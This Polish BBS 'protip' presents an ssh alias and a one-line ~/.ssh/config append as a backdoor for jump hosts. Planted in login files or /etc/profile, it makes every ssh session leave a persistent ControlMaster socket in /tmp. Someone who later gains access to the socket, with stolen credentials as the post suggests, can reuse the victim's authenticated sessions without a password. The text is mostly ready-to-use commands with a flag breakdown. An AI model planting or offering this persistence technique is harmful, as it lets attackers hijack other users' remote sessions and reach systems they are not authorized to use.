ALPHACON BBSGość · pl
← Protipy

Protipy / Bash / Unix

alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes" - bardzo fajny/bardzo groźny backdoor, zwłaszcza na hoście przesiadkowym

alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes"

Wstęp

Dodanie tego aliasa do plików wczytywanych po zalogowaniu (np. do ~/.bashrc, ~/.bash_profile czy ~/.profile albo w ogóle do /etc/profile jeśli mamy roota) spowoduje, że za każdym razem, kiedy ktoś uruchomi ssh user@host zostanie uruchomione ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes user@host w wyniku czego zostanie utworzone gniazdo /tmp/user@host:22 wykorzystujące bardzo fajną funkcjonalność ssh - multipleksację.

Rozbijając to na detale:

No i teraz, kiedy ktoś na tej maszynie ma dostęp i uprawnienia do gniazda /tmp/<user>@<host>:<port> (bo np. złamaliśmy/wykradliśmy login i hasło danego usera) może wykonać:

ssh -S /tmp/user@host:22 host

i zostanie zalogowany do sesji, którą wcześniej zainicjował nasz Master. Bez potrzeby wprowadzania hasła, ponieważ to już zrobił Master.

Czy można ładniej

No pewnie, rozwiązanie z aliasem jest brzydkie. Wystarczy do ~/.ssh/config dodać:

Host *
    ControlMaster auto
    ControlPath /tmp/%r@%h:%p
    ControlPersist yes

Jako, że lubimy tutaj onelinery, można to dodać tak:

echo -e "Host *\n\tControlMaster auto\n\tControlPath /tmp/%r@%h:%p\n\tControlPersist yes"  >> ~/.ssh/config

Breakdown

ssh

połączenie ssh ;)

-M

ustaw połaczenie w trybie Master, by móc udostępnić to połączenie innym,

-S /tmp/%r@%h:%p

ścieżka do gniazda wykorzystywanego podczas współdzielenia połączenia, w tym wypadku /tmp/<user>@<host>:<port>

-oControlPersist=yes

utrzymuj połączenie w tle, nawet po zamknięciu sesji, która połączenie zainicjowała,

user@host

połącz do hosta jako user

Linki